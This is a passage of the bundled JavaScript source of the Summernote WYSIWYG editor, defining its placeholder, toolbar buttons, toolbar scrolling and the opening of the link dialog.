    Placeholder.prototype.shouldInitialize = function () {
        return !!this.options.placeholder;
    };
    Placeholder.prototype.initialize = function () {
        var _this = this;
        this.$placeholder = $$1('<div class="note-placeholder">');
        this.$placeholder.on('click', function () {
            _this.context.invoke('focus');
        }).text(this.options.placeholder).prependTo(this.$editingArea);
        this.update();
    };
    Placeholder.prototype.destroy = function () {
        this.$placeholder.remove();
    };
    Placeholder.prototype.update = function () {
        var isShow = !this.context.invoke('codeview.isActivated') && this.context.invoke('editor.isEmpty');
        this.$placeholder.toggle(isShow);
    };
    return Placeholder;
}());

var Buttons = /** @class */ (function () {
    function Buttons(context) {
        this.ui = $$1.summernote.ui;
        this.context = context;
        this.$toolbar = context.layoutInfo.toolbar;
        this.options = context.options;
        this.lang = this.options.langInfo;
        this.invertedKeyMap = func.invertObject(this.options.keyMap[env.isMac ? 'mac' : 'pc']);
    }
    Buttons.prototype.representShortcut = function (editorMethod) {
        var shortcut = this.invertedKeyMap[editorMethod];
        if (!this.options.shortcuts || !shortcut) {
            return '';
        }
        if (env.isMac) {
            shortcut = shortcut.replace('CMD', '⌘').replace('SHIFT', '⇧');
        }
        shortcut = shortcut.replace('BACKSLASH', '\\')
            .replace('SLASH', '/')
            .replace('LEFTBRACKET', '[')
            .replace('RIGHTBRACKET', ']');
        return ' (' + shortcut + ')';
    };
    Buttons.prototype.button = function (o) {
        if (!this.options.tooltip && o.tooltip) {
            delete o.tooltip;
        }
        o.container = this.options.container;
        return this.ui.button(o);
    };
    Buttons.prototype.initialize = function () {
        this.addToolbarButtons();
        this.addImagePopoverButtons();
        this.addLinkPopoverButtons();
        this.addTablePopoverButtons();
        this.fontInstalledMap = {};
    };
    Buttons.prototype.destroy = function () {
        delete this.fontInstalledMap;
    };
    Buttons.prototype.isFontInstalled = function (name) {
        if (!this.fontInstalledMap.hasOwnProperty(name)) {
            this.fontInstalledMap[name] = env.isFontInstalled(name) ||
                lists.contains(this.options.fontNamesIgnoreCheck, name);
        }
        return this.fontInstalledMap[name];
    };
    Buttons.prototype.isFontDeservedToAdd = function (name) {
        var genericFamilies = ['sans-serif', 'serif', 'monospace', 'cursive', 'fantasy'];
        name = name.toLowerCase();
        return ((name !== '') && this.isFontInstalled(name) && ($$1.inArray(name, genericFamilies) === -1));
    };
    Buttons.prototype.addToolbarButtons = function () {
        var _this = this;
        this.context.memo('button.style', function () {
            return _this.ui.buttonGroup([
                _this.button({
                    className: 'dropdown-toggle',
                    contents: _this.ui.dropdownButtonContents(_this.ui.icon(_this.options.icons.magic), _this.options),
                    tooltip: _this.lang.style.style,
                    data: {
                        toggle: 'dropdown'
                    }
                }),
                _this.ui.dropdown({
                    className: 'dropdown-style',
                    items: _this.options.styleTags,
                    title: _this.lang.style.style,
                    template: function (item) {
                        if (typeof item === 'string') {
                            item = { tag: item, title: (_this.lang.style.hasOwnProperty(item) ? _this.lang.style[item] : item) };
                        }
                        var tag = item.tag;
                        var title = item.title;
                        var style = item.style ? ' style="' + item.style + '" ' : '';
                        var className = item.className ? ' class="' + item.className + '"' : '';
                        return '<' + tag + style + className + '>' + title + '</' + tag + '>';
                    },
                    click: _this.context.createInvokeHandler('editor.formatBlock')
                })
            ]).render();
        });
        var _loop_1 = function (styleIdx, styleLen) {
            var item = this_1.options.styleTags[styleIdx];
            this_1.context.memo('button.style.' + item, function () {
                return _this.button({
                    className: 'note-btn-style-' + item,
                    contents: '<div data-value="' + item + '">' + item.toUpperCase() + '</div>',
                    tooltip: _this.lang.style[item],
                    click: _this.context.createInvokeHandler('editor.formatBlock')
                }).render();
            });
        };
        var this_1 = this;
        for (var styleIdx = 0, styleLen = this.options.styleTags.length; styleIdx < styleLen; styleIdx++) {
            _loop_1(styleIdx, styleLen);
        }
        this.context.memo('button.bold', function () {
            return _this.button({
                className: 'note-btn-bold',
                contents: _this.ui.icon(_this.options.icons.bold),
                tooltip: _this.lang.font.bold + _this.representShortcut('bold'),
                click: _this.context.createInvokeHandlerAndUpdateState('editor.bold')
            }).render();
        });
        this.context.memo('button.italic', function () {
            return _this.button({
                className: 'note-btn-italic',
                contents: _this.ui.icon(_this.options.icons.italic),
                tooltip: _this.lang.font.italic + _this.representShortcut('italic'),
                click: _this.context.createInvokeHandlerAndUpdateState('editor.italic')
            }).render();
        });
        this.context.memo('button.underline', function () {
            return _this.button({
                className: 'note-btn-underline',
                contents: _this.ui.icon(_this.options.icons.underline),
                tooltip: _this.lang.font.underline + _this.representShortcut('underline'),
                click: _this.context.createInvokeHandlerAndUpdateState('editor.underline')
            }).render();
        });
        this.context.memo('button.clear', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.eraser),
                tooltip: _this.lang.font.clear + _this.representShortcut('removeFormat'),
                click: _this.context.createInvokeHandler('editor.removeFormat')
            }).render();
        });
        this.context.memo('button.strikethrough', function () {
            return _this.button({
                className: 'note-btn-strikethrough',
                contents: _this.ui.icon(_this.options.icons.strikethrough),
                tooltip: _this.lang.font.strikethrough + _this.representShortcut('strikethrough'),
                click: _this.context.createInvokeHandlerAndUpdateState('editor.strikethrough')
            }).render();
        });
        this.context.memo('button.superscript', function () {
            return _this.button({
                className: 'note-btn-superscript',
                contents: _this.ui.icon(_this.options.icons.superscript),
                tooltip: _this.lang.font.superscript,
                click: _this.context.createInvokeHandlerAndUpdateState('editor.superscript')
            }).render();
        });
        this.context.memo('button.subscript', function () {
            return _this.button({
                className: 'note-btn-subscript',
                contents: _this.ui.icon(_this.options.icons.subscript),
                tooltip: _this.lang.font.subscript,
                click: _this.context.createInvokeHandlerAndUpdateState('editor.subscript')
            }).render();
        });
        this.context.memo('button.fontname', function () {
            var styleInfo = _this.context.invoke('editor.currentStyle');
            // Add 'default' fonts into the fontnames array if not exist
            $$1.each(styleInfo['font-family'].split(','), function (idx, fontname) {
                fontname = fontname.trim().replace(/['"]+/g, '');
                if (_this.isFontDeservedToAdd(fontname)) {
                    if ($$1.inArray(fontname, _this.options.fontNames) === -1) {
                        _this.options.fontNames.push(fontname);
                    }
                }
            });
            return _this.ui.buttonGroup([
                _this.button({
                    className: 'dropdown-toggle',
                    contents: _this.ui.dropdownButtonContents('<span class="note-current-fontname"/>', _this.options),
                    tooltip: _this.lang.font.name,
                    data: {
                        toggle: 'dropdown'
                    }
                }),
                _this.ui.dropdownCheck({
                    className: 'dropdown-fontname',
                    checkClassName: _this.options.icons.menuCheck,
                    items: _this.options.fontNames.filter(_this.isFontInstalled.bind(_this)),
                    title: _this.lang.font.name,
                    template: function (item) {
                        return '<span style="font-family: \'' + item + '\'">' + item + '</span>';
                    },
                    click: _this.context.createInvokeHandlerAndUpdateState('editor.fontName')
                })
            ]).render();
        });
        this.context.memo('button.fontsize', function () {
            return _this.ui.buttonGroup([
                _this.button({
                    className: 'dropdown-toggle',
                    contents: _this.ui.dropdownButtonContents('<span class="note-current-fontsize"/>', _this.options),
                    tooltip: _this.lang.font.size,
                    data: {
                        toggle: 'dropdown'
                    }
                }),
                _this.ui.dropdownCheck({
                    className: 'dropdown-fontsize',
                    checkClassName: _this.options.icons.menuCheck,
                    items: _this.options.fontSizes,
                    title: _this.lang.font.size,
                    click: _this.context.createInvokeHandlerAndUpdateState('editor.fontSize')
                })
            ]).render();
        });
        this.context.memo('button.color', function () {
            return _this.ui.buttonGroup({
                className: 'note-color',
                children: [
                    _this.button({
                        className: 'note-current-color-button',
                        contents: _this.ui.icon(_this.options.icons.font + ' note-recent-color'),
                        tooltip: _this.lang.color.recent,
                        click: function (e) {
                            var $button = $$1(e.currentTarget);
                            _this.context.invoke('editor.color', {
                                backColor: $button.attr('data-backColor'),
                                foreColor: $button.attr('data-foreColor')
                            });
                        },
                        callback: function ($button) {
                            var $recentColor = $button.find('.note-recent-color');
                            $recentColor.css('background-color', '#FFFF00');
                            $button.attr('data-backColor', '#FFFF00');
                        }
                    }),
                    _this.button({
                        className: 'dropdown-toggle',
                        contents: _this.ui.dropdownButtonContents('', _this.options),
                        tooltip: _this.lang.color.more,
                        data: {
                            toggle: 'dropdown'
                        }
                    }),
                    _this.ui.dropdown({
                        items: [
                            '<div class="note-palette">',
                            '  <div class="note-palette-title">' + _this.lang.color.background + '</div>',
                            '  <div>',
                            '    <button type="button" class="note-color-reset btn btn-light" data-event="backColor" data-value="inherit">',
                            _this.lang.color.transparent,
                            '    </button>',
                            '  </div>',
                            '  <div class="note-holder" data-event="backColor"/>',
                            '</div>',
                            '<div class="note-palette">',
                            '  <div class="note-palette-title">' + _this.lang.color.foreground + '</div>',
                            '  <div>',
                            '    <button type="button" class="note-color-reset btn btn-light" data-event="removeFormat" data-value="foreColor">',
                            _this.lang.color.resetToDefault,
                            '    </button>',
                            '  </div>',
                            '  <div class="note-holder" data-event="foreColor"/>',
                            '</div>'
                        ].join(''),
                        callback: function ($dropdown) {
                            $dropdown.find('.note-holder').each(function (idx, item) {
                                var $holder = $$1(item);
                                $holder.append(_this.ui.palette({
                                    colors: _this.options.colors,
                                    colorsName: _this.options.colorsName,
                                    eventName: $holder.data('event'),
                                    container: _this.options.container,
                                    tooltip: _this.options.tooltip
                                }).render());
                            });
                        },
                        click: function (event) {
                            var $button = $$1(event.target);
                            var eventName = $button.data('event');
                            var value = $button.data('value');
                            if (eventName && value) {
                                var key = eventName === 'backColor' ? 'background-color' : 'color';
                                var $color = $button.closest('.note-color').find('.note-recent-color');
                                var $currentButton = $button.closest('.note-color').find('.note-current-color-button');
                                $color.css(key, value);
                                $currentButton.attr('data-' + eventName, value);
                                _this.context.invoke('editor.' + eventName, value);
                            }
                        }
                    })
                ]
            }).render();
        });
        this.context.memo('button.ul', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.unorderedlist),
                tooltip: _this.lang.lists.unordered + _this.representShortcut('insertUnorderedList'),
                click: _this.context.createInvokeHandler('editor.insertUnorderedList')
            }).render();
        });
        this.context.memo('button.ol', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.orderedlist),
                tooltip: _this.lang.lists.ordered + _this.representShortcut('insertOrderedList'),
                click: _this.context.createInvokeHandler('editor.insertOrderedList')
            }).render();
        });
        var justifyLeft = this.button({
            contents: this.ui.icon(this.options.icons.alignLeft),
            tooltip: this.lang.paragraph.left + this.representShortcut('justifyLeft'),
            click: this.context.createInvokeHandler('editor.justifyLeft')
        });
        var justifyCenter = this.button({
            contents: this.ui.icon(this.options.icons.alignCenter),
            tooltip: this.lang.paragraph.center + this.representShortcut('justifyCenter'),
            click: this.context.createInvokeHandler('editor.justifyCenter')
        });
        var justifyRight = this.button({
            contents: this.ui.icon(this.options.icons.alignRight),
            tooltip: this.lang.paragraph.right + this.representShortcut('justifyRight'),
            click: this.context.createInvokeHandler('editor.justifyRight')
        });
        var justifyFull = this.button({
            contents: this.ui.icon(this.options.icons.alignJustify),
            tooltip: this.lang.paragraph.justify + this.representShortcut('justifyFull'),
            click: this.context.createInvokeHandler('editor.justifyFull')
        });
        var outdent = this.button({
            contents: this.ui.icon(this.options.icons.outdent),
            tooltip: this.lang.paragraph.outdent + this.representShortcut('outdent'),
            click: this.context.createInvokeHandler('editor.outdent')
        });
        var indent = this.button({
            contents: this.ui.icon(this.options.icons.indent),
            tooltip: this.lang.paragraph.indent + this.representShortcut('indent'),
            click: this.context.createInvokeHandler('editor.indent')
        });
        this.context.memo('button.justifyLeft', func.invoke(justifyLeft, 'render'));
        this.context.memo('button.justifyCenter', func.invoke(justifyCenter, 'render'));
        this.context.memo('button.justifyRight', func.invoke(justifyRight, 'render'));
        this.context.memo('button.justifyFull', func.invoke(justifyFull, 'render'));
        this.context.memo('button.outdent', func.invoke(outdent, 'render'));
        this.context.memo('button.indent', func.invoke(indent, 'render'));
        this.context.memo('button.paragraph', function () {
            return _this.ui.buttonGroup([
                _this.button({
                    className: 'dropdown-toggle',
                    contents: _this.ui.dropdownButtonContents(_this.ui.icon(_this.options.icons.alignLeft), _this.options),
                    tooltip: _this.lang.paragraph.paragraph,
                    data: {
                        toggle: 'dropdown'
                    }
                }),
                _this.ui.dropdown([
                    _this.ui.buttonGroup({
                        className: 'note-align',
                        children: [justifyLeft, justifyCenter, justifyRight, justifyFull]
                    }),
                    _this.ui.buttonGroup({
                        className: 'note-list',
                        children: [outdent, indent]
                    })
                ])
            ]).render();
        });
        this.context.memo('button.height', function () {
            return _this.ui.buttonGroup([
                _this.button({
                    className: 'dropdown-toggle',
                    contents: _this.ui.dropdownButtonContents(_this.ui.icon(_this.options.icons.textHeight), _this.options),
                    tooltip: _this.lang.font.height,
                    data: {
                        toggle: 'dropdown'
                    }
                }),
                _this.ui.dropdownCheck({
                    items: _this.options.lineHeights,
                    checkClassName: _this.options.icons.menuCheck,
                    className: 'dropdown-line-height',
                    title: _this.lang.font.height,
                    click: _this.context.createInvokeHandler('editor.lineHeight')
                })
            ]).render();
        });
        this.context.memo('button.table', function () {
            return _this.ui.buttonGroup([
                _this.button({
                    className: 'dropdown-toggle',
                    contents: _this.ui.dropdownButtonContents(_this.ui.icon(_this.options.icons.table), _this.options),
                    tooltip: _this.lang.table.table,
                    data: {
                        toggle: 'dropdown'
                    }
                }),
                _this.ui.dropdown({
                    title: _this.lang.table.table,
                    className: 'note-table',
                    items: [
                        '<div class="note-dimension-picker">',
                        '  <div class="note-dimension-picker-mousecatcher" data-event="insertTable" data-value="1x1"/>',
                        '  <div class="note-dimension-picker-highlighted"/>',
                        '  <div class="note-dimension-picker-unhighlighted"/>',
                        '</div>',
                        '<div class="note-dimension-display">1 x 1</div>'
                    ].join('')
                })
            ], {
                callback: function ($node) {
                    var $catcher = $node.find('.note-dimension-picker-mousecatcher');
                    $catcher.css({
                        width: _this.options.insertTableMaxSize.col + 'em',
                        height: _this.options.insertTableMaxSize.row + 'em'
                    }).mousedown(_this.context.createInvokeHandler('editor.insertTable'))
                        .on('mousemove', _this.tableMoveHandler.bind(_this));
                }
            }).render();
        });
        this.context.memo('button.link', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.link),
                tooltip: _this.lang.link.link + _this.representShortcut('linkDialog.show'),
                click: _this.context.createInvokeHandler('linkDialog.show')
            }).render();
        });
        this.context.memo('button.picture', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.picture),
                tooltip: _this.lang.image.image,
                click: _this.context.createInvokeHandler('imageDialog.show')
            }).render();
        });
        this.context.memo('button.video', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.video),
                tooltip: _this.lang.video.video,
                click: _this.context.createInvokeHandler('videoDialog.show')
            }).render();
        });
        this.context.memo('button.hr', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.minus),
                tooltip: _this.lang.hr.insert + _this.representShortcut('insertHorizontalRule'),
                click: _this.context.createInvokeHandler('editor.insertHorizontalRule')
            }).render();
        });
        this.context.memo('button.fullscreen', function () {
            return _this.button({
                className: 'btn-fullscreen',
                contents: _this.ui.icon(_this.options.icons.arrowsAlt),
                tooltip: _this.lang.options.fullscreen,
                click: _this.context.createInvokeHandler('fullscreen.toggle')
            }).render();
        });
        this.context.memo('button.codeview', function () {
            return _this.button({
                className: 'btn-codeview',
                contents: _this.ui.icon(_this.options.icons.code),
                tooltip: _this.lang.options.codeview,
                click: _this.context.createInvokeHandler('codeview.toggle')
            }).render();
        });
        this.context.memo('button.redo', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.redo),
                tooltip: _this.lang.history.redo + _this.representShortcut('redo'),
                click: _this.context.createInvokeHandler('editor.redo')
            }).render();
        });
        this.context.memo('button.undo', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.undo),
                tooltip: _this.lang.history.undo + _this.representShortcut('undo'),
                click: _this.context.createInvokeHandler('editor.undo')
            }).render();
        });
        this.context.memo('button.help', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.question),
                tooltip: _this.lang.options.help,
                click: _this.context.createInvokeHandler('helpDialog.show')
            }).render();
        });
    };
    /**
     * image : [
     *   ['imagesize', ['imageSize100', 'imageSize50', 'imageSize25']],
     *   ['float', ['floatLeft', 'floatRight', 'floatNone' ]],
     *   ['remove', ['removeMedia']]
     * ],
     */
    Buttons.prototype.addImagePopoverButtons = function () {
        var _this = this;
        // Image Size Buttons
        this.context.memo('button.imageSize100', function () {
            return _this.button({
                contents: '<span class="note-fontsize-10">100%</span>',
                tooltip: _this.lang.image.resizeFull,
                click: _this.context.createInvokeHandler('editor.resize', '1')
            }).render();
        });
        this.context.memo('button.imageSize50', function () {
            return _this.button({
                contents: '<span class="note-fontsize-10">50%</span>',
                tooltip: _this.lang.image.resizeHalf,
                click: _this.context.createInvokeHandler('editor.resize', '0.5')
            }).render();
        });
        this.context.memo('button.imageSize25', function () {
            return _this.button({
                contents: '<span class="note-fontsize-10">25%</span>',
                tooltip: _this.lang.image.resizeQuarter,
                click: _this.context.createInvokeHandler('editor.resize', '0.25')
            }).render();
        });
        // Float Buttons
        this.context.memo('button.floatLeft', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.alignLeft),
                tooltip: _this.lang.image.floatLeft,
                click: _this.context.createInvokeHandler('editor.floatMe', 'left')
            }).render();
        });
        this.context.memo('button.floatRight', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.alignRight),
                tooltip: _this.lang.image.floatRight,
                click: _this.context.createInvokeHandler('editor.floatMe', 'right')
            }).render();
        });
        this.context.memo('button.floatNone', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.alignJustify),
                tooltip: _this.lang.image.floatNone,
                click: _this.context.createInvokeHandler('editor.floatMe', 'none')
            }).render();
        });
        // Remove Buttons
        this.context.memo('button.removeMedia', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.trash),
                tooltip: _this.lang.image.remove,
                click: _this.context.createInvokeHandler('editor.removeMedia')
            }).render();
        });
    };
    Buttons.prototype.addLinkPopoverButtons = function () {
        var _this = this;
        this.context.memo('button.linkDialogShow', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.link),
                tooltip: _this.lang.link.edit,
                click: _this.context.createInvokeHandler('linkDialog.show')
            }).render();
        });
        this.context.memo('button.unlink', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.unlink),
                tooltip: _this.lang.link.unlink,
                click: _this.context.createInvokeHandler('editor.unlink')
            }).render();
        });
    };
    /**
     * table : [
     *  ['add', ['addRowDown', 'addRowUp', 'addColLeft', 'addColRight']],
     *  ['delete', ['deleteRow', 'deleteCol', 'deleteTable']]
     * ],
     */
    Buttons.prototype.addTablePopoverButtons = function () {
        var _this = this;
        this.context.memo('button.addRowUp', function () {
            return _this.button({
                className: 'btn-md',
                contents: _this.ui.icon(_this.options.icons.rowAbove),
                tooltip: _this.lang.table.addRowAbove,
                click: _this.context.createInvokeHandler('editor.addRow', 'top')
            }).render();
        });
        this.context.memo('button.addRowDown', function () {
            return _this.button({
                className: 'btn-md',
                contents: _this.ui.icon(_this.options.icons.rowBelow),
                tooltip: _this.lang.table.addRowBelow,
                click: _this.context.createInvokeHandler('editor.addRow', 'bottom')
            }).render();
        });
        this.context.memo('button.addColLeft', function () {
            return _this.button({
                className: 'btn-md',
                contents: _this.ui.icon(_this.options.icons.colBefore),
                tooltip: _this.lang.table.addColLeft,
                click: _this.context.createInvokeHandler('editor.addCol', 'left')
            }).render();
        });
        this.context.memo('button.addColRight', function () {
            return _this.button({
                className: 'btn-md',
                contents: _this.ui.icon(_this.options.icons.colAfter),
                tooltip: _this.lang.table.addColRight,
                click: _this.context.createInvokeHandler('editor.addCol', 'right')
            }).render();
        });
        this.context.memo('button.deleteRow', function () {
            return _this.button({
                className: 'btn-md',
                contents: _this.ui.icon(_this.options.icons.rowRemove),
                tooltip: _this.lang.table.delRow,
                click: _this.context.createInvokeHandler('editor.deleteRow')
            }).render();
        });
        this.context.memo('button.deleteCol', function () {
            return _this.button({
                className: 'btn-md',
                contents: _this.ui.icon(_this.options.icons.colRemove),
                tooltip: _this.lang.table.delCol,
                click: _this.context.createInvokeHandler('editor.deleteCol')
            }).render();
        });
        this.context.memo('button.deleteTable', function () {
            return _this.button({
                className: 'btn-md',
                contents: _this.ui.icon(_this.options.icons.trash),
                tooltip: _this.lang.table.delTable,
                click: _this.context.createInvokeHandler('editor.deleteTable')
            }).render();
        });
    };
    Buttons.prototype.build = function ($container, groups) {
        for (var groupIdx = 0, groupLen = groups.length; groupIdx < groupLen; groupIdx++) {
            var group = groups[groupIdx];
            var groupName = $$1.isArray(group) ? group[0] : group;
            var buttons = $$1.isArray(group) ? ((group.length === 1) ? [group[0]] : group[1]) : [group];
            var $group = this.ui.buttonGroup({
                className: 'note-' + groupName
            }).render();
            for (var idx = 0, len = buttons.length; idx < len; idx++) {
                var btn = this.context.memo('button.' + buttons[idx]);
                if (btn) {
                    $group.append(typeof btn === 'function' ? btn(this.context) : btn);
                }
            }
            $group.appendTo($container);
        }
    };
    /**
     * @param {jQuery} [$container]
     */
    Buttons.prototype.updateCurrentStyle = function ($container) {
        var _this = this;
        var $cont = $container || this.$toolbar;
        var styleInfo = this.context.invoke('editor.currentStyle');
        this.updateBtnStates($cont, {
            '.note-btn-bold': function () {
                return styleInfo['font-bold'] === 'bold';
            },
            '.note-btn-italic': function () {
                return styleInfo['font-italic'] === 'italic';
            },
            '.note-btn-underline': function () {
                return styleInfo['font-underline'] === 'underline';
            },
            '.note-btn-subscript': function () {
                return styleInfo['font-subscript'] === 'subscript';
            },
            '.note-btn-superscript': function () {
                return styleInfo['font-superscript'] === 'superscript';
            },
            '.note-btn-strikethrough': function () {
                return styleInfo['font-strikethrough'] === 'strikethrough';
            }
        });
        if (styleInfo['font-family']) {
            var fontNames = styleInfo['font-family'].split(',').map(function (name) {
                return name.replace(/[\'\"]/g, '')
                    .replace(/\s+$/, '')
                    .replace(/^\s+/, '');
            });
            var fontName_1 = lists.find(fontNames, this.isFontInstalled.bind(this));
            $cont.find('.dropdown-fontname a').each(function (idx, item) {
                var $item = $$1(item);
                // always compare string to avoid creating another func.
                var isChecked = ($item.data('value') + '') === (fontName_1 + '');
                $item.toggleClass('checked', isChecked);
            });
            $cont.find('.note-current-fontname').text(fontName_1).css('font-family', fontName_1);
        }
        if (styleInfo['font-size']) {
            var fontSize_1 = styleInfo['font-size'];
            $cont.find('.dropdown-fontsize a').each(function (idx, item) {
                var $item = $$1(item);
                // always compare with string to avoid creating another func.
                var isChecked = ($item.data('value') + '') === (fontSize_1 + '');
                $item.toggleClass('checked', isChecked);
            });
            $cont.find('.note-current-fontsize').text(fontSize_1);
        }
        if (styleInfo['line-height']) {
            var lineHeight_1 = styleInfo['line-height'];
            $cont.find('.dropdown-line-height li a').each(function (idx, item) {
                // always compare with string to avoid creating another func.
                var isChecked = ($$1(item).data('value') + '') === (lineHeight_1 + '');
                _this.className = isChecked ? 'checked' : '';
            });
        }
    };
    Buttons.prototype.updateBtnStates = function ($container, infos) {
        var _this = this;
        $$1.each(infos, function (selector, pred) {
            _this.ui.toggleBtnActive($container.find(selector), pred());
        });
    };
    Buttons.prototype.tableMoveHandler = function (event) {
        var PX_PER_EM = 18;
        var $picker = $$1(event.target.parentNode); // target is mousecatcher
        var $dimensionDisplay = $picker.next();
        var $catcher = $picker.find('.note-dimension-picker-mousecatcher');
        var $highlighted = $picker.find('.note-dimension-picker-highlighted');
        var $unhighlighted = $picker.find('.note-dimension-picker-unhighlighted');
        var posOffset;
        // HTML5 with jQuery - e.offsetX is undefined in Firefox
        if (event.offsetX === undefined) {
            var posCatcher = $$1(event.target).offset();
            posOffset = {
                x: event.pageX - posCatcher.left,
                y: event.pageY - posCatcher.top
            };
        }
        else {
            posOffset = {
                x: event.offsetX,
                y: event.offsetY
            };
        }
        var dim = {
            c: Math.ceil(posOffset.x / PX_PER_EM) || 1,
            r: Math.ceil(posOffset.y / PX_PER_EM) || 1
        };
        $highlighted.css({ width: dim.c + 'em', height: dim.r + 'em' });
        $catcher.data('value', dim.c + 'x' + dim.r);
        if (dim.c > 3 && dim.c < this.options.insertTableMaxSize.col) {
            $unhighlighted.css({ width: dim.c + 1 + 'em' });
        }
        if (dim.r > 3 && dim.r < this.options.insertTableMaxSize.row) {
            $unhighlighted.css({ height: dim.r + 1 + 'em' });
        }
        $dimensionDisplay.html(dim.c + ' x ' + dim.r);
    };
    return Buttons;
}());

var Toolbar = /** @class */ (function () {
    function Toolbar(context) {
        this.context = context;
        this.$window = $$1(window);
        this.$document = $$1(document);
        this.ui = $$1.summernote.ui;
        this.$note = context.layoutInfo.note;
        this.$editor = context.layoutInfo.editor;
        this.$toolbar = context.layoutInfo.toolbar;
        this.options = context.options;
        this.followScroll = this.followScroll.bind(this);
    }
    Toolbar.prototype.shouldInitialize = function () {
        return !this.options.airMode;
    };
    Toolbar.prototype.initialize = function () {
        var _this = this;
        this.options.toolbar = this.options.toolbar || [];
        if (!this.options.toolbar.length) {
            this.$toolbar.hide();
        }
        else {
            this.context.invoke('buttons.build', this.$toolbar, this.options.toolbar);
        }
        if (this.options.toolbarContainer) {
            this.$toolbar.appendTo(this.options.toolbarContainer);
        }
        this.changeContainer(false);
        this.$note.on('summernote.keyup summernote.mouseup summernote.change', function () {
            _this.context.invoke('buttons.updateCurrentStyle');
        });
        this.context.invoke('buttons.updateCurrentStyle');
        if (this.options.followingToolbar) {
            this.$window.on('scroll resize', this.followScroll);
        }
    };
    Toolbar.prototype.destroy = function () {
        this.$toolbar.children().remove();
        if (this.options.followingToolbar) {
            this.$window.off('scroll resize', this.followScroll);
        }
    };
    Toolbar.prototype.followScroll = function () {
        if (this.$editor.hasClass('fullscreen')) {
            return false;
        }
        var $toolbarWrapper = this.$toolbar.parent('.note-toolbar-wrapper');
        var editorHeight = this.$editor.outerHeight();
        var editorWidth = this.$editor.width();
        var toolbarHeight = this.$toolbar.height();
        $toolbarWrapper.css({
            height: toolbarHeight
        });
        // check if the web app is currently using another static bar
        var otherBarHeight = 0;
        if (this.options.otherStaticBar) {
            otherBarHeight = $$1(this.options.otherStaticBar).outerHeight();
        }
        var currentOffset = this.$document.scrollTop();
        var editorOffsetTop = this.$editor.offset().top;
        var editorOffsetBottom = editorOffsetTop + editorHeight;
        var activateOffset = editorOffsetTop - otherBarHeight;
        var deactivateOffsetBottom = editorOffsetBottom - otherBarHeight - toolbarHeight;
        if ((currentOffset > activateOffset) && (currentOffset < deactivateOffsetBottom)) {
            this.$toolbar.css({
                position: 'fixed',
                top: otherBarHeight,
                width: editorWidth
            });
        }
        else {
            this.$toolbar.css({
                position: 'relative',
                top: 0,
                width: '100%'
            });
        }
    };
    Toolbar.prototype.changeContainer = function (isFullscreen) {
        if (isFullscreen) {
            this.$toolbar.prependTo(this.$editor);
        }
        else {
            if (this.options.toolbarContainer) {
                this.$toolbar.appendTo(this.options.toolbarContainer);
            }
        }
    };
    Toolbar.prototype.updateFullscreen = function (isFullscreen) {
        this.ui.toggleBtnActive(this.$toolbar.find('.btn-fullscreen'), isFullscreen);
        this.changeContainer(isFullscreen);
    };
    Toolbar.prototype.updateCodeview = function (isCodeview) {
        this.ui.toggleBtnActive(this.$toolbar.find('.btn-codeview'), isCodeview);
        if (isCodeview) {
            this.deactivate();
        }
        else {
            this.activate();
        }
    };
    Toolbar.prototype.activate = function (isIncludeCodeview) {
        var $btn = this.$toolbar.find('button');
        if (!isIncludeCodeview) {
            $btn = $btn.not('.btn-codeview');
        }
        this.ui.toggleBtn($btn, true);
    };
    Toolbar.prototype.deactivate = function (isIncludeCodeview) {
        var $btn = this.$toolbar.find('button');
        if (!isIncludeCodeview) {
            $btn = $btn.not('.btn-codeview');
        }
        this.ui.toggleBtn($btn, false);
    };
    return Toolbar;
}());

var LinkDialog = /** @class */ (function () {
    function LinkDialog(context) {
        this.context = context;
        this.ui = $$1.summernote.ui;
        this.$body = $$1(document.body);
        this.$editor = context.layoutInfo.editor;
        this.options = context.options;
        this.lang = this.options.langInfo;
        context.memo('help.linkDialog.show', this.options.langInfo.help['linkDialog.show']);
    }
    LinkDialog.prototype.initialize = function () {
        var $container = this.options.dialogsInBody ? this.$body : this.$editor;
        var body = [
            '<div class="form-group note-form-group">',
            "<label class=\"note-form-label\">" + this.lang.link.textToDisplay + "</label>",
            '<input class="note-link-text form-control note-form-control  note-input" type="text" />',
            '</div>',
            '<div class="form-group note-form-group">',
            "<label class=\"note-form-label\">" + this.lang.link.url + "</label>",
            '<input class="note-link-url form-control note-form-control note-input" type="text" value="http://" />',
            '</div>',
            !this.options.disableLinkTarget
                ? $$1('<div/>').append(this.ui.checkbox({
                    id: 'sn-checkbox-open-in-new-window',
                    text: this.lang.link.openInNewWindow,
                    checked: true
                }).render()).html()
                : ''
        ].join('');
        var buttonClass = 'btn btn-primary note-btn note-btn-primary note-link-btn';
        var footer = "<button type=\"submit\" href=\"#\" class=\"" + buttonClass + "\" disabled>" + this.lang.link.insert + "</button>";
        this.$dialog = this.ui.dialog({
            className: 'link-dialog',
            title: this.lang.link.insert,
            fade: this.options.dialogsFade,
            body: body,
            footer: footer
        }).render().appendTo($container);
    };
    LinkDialog.prototype.destroy = function () {
        this.ui.hideDialog(this.$dialog);
        this.$dialog.remove();
    };
    LinkDialog.prototype.bindEnterKey = function ($input, $btn) {
        $input.on('keypress', function (event) {
            if (event.keyCode === key.code.ENTER) {
                event.preventDefault();
                $btn.trigger('click');
            }
        });
    };
    /**
     * toggle update button
     */
    LinkDialog.prototype.toggleLinkBtn = function ($linkBtn, $linkText, $linkUrl) {
        this.ui.toggleBtn($linkBtn, $linkText.val() && $linkUrl.val());
    };
    /**
     * Show link dialog and set event handlers on dialog controls.
     *
     * @param {Object} linkInfo
     * @return {Promise}
     */
    LinkDialog.prototype.showLinkDialog = function (linkInfo) {
        var _this = this;
